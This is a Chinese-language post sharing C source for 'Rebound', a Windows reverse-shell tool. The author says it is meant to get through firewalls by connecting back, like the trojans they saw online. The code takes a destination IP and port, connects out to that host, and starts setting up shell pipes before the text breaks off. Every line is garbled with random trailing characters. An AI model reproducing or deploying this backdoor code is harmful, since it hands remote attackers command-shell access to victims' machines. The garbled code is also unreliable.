这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ilt L@]e
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Rebound port in Windows NT }77=<N br
By wind,2006/7 `pv89aO
===============================*/ mw4'z,1Q
#include 3 DO$^JJ.
#include ^S;RX*
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#pragma comment(lib,"wsock32.lib") DbNi;m
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void OutputShell(); kgbr+Yw2X
SOCKET sClient; YCLD!S/?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z%HEn$t
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void main(int argc,char **argv) YVg}q#
{ Dry;$C}P
WSADATA stWsaData; Oa_o"p<Lr
int nRet; -<}>YtB
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SOCKADDR_IN stSaiClient,stSaiServer; G+QNg.pH
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if(argc != 3) gQ@Pw4bA
{ }5Tyz i(
printf("Useage:\n\rRebound DestIP DestPort\n"); mSfkyw.
return; a@a1TpLQ
} l_q>(FoqA
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WSAStartup(MAKEWORD(2,2),&stWsaData); L_zmU_zD
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; 2I(@aB+
stSaiClient.sin_port = htons(0); w]5f3CIm
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MF`k~)bDV
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &T{B~i3w8
{ glKs8^W
printf("Bind Socket Failed!\n"); 3
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return; {'K;aJ'\
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stSaiServer.sin_family = AF_INET; _%p9B#X<>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /CQQ^/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @vYN7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z :i"|;
{ (+Nmio
printf("Connect Error!"); 8IIdNd
return; !=Kay^J~.
} x;?1#W
OutputShell(); 4[V6so 0
} *d,n2a#n5
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void OutputShell() K&P{2Hndr
{ *~oDP@[S
char szBuff[1024]; H1b%:KRVK
SECURITY_ATTRIBUTES stSecurityAttributes; g2b4 ia!L
OSVERSIONINFO stOsversionInfo; f}9`iN=k
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0&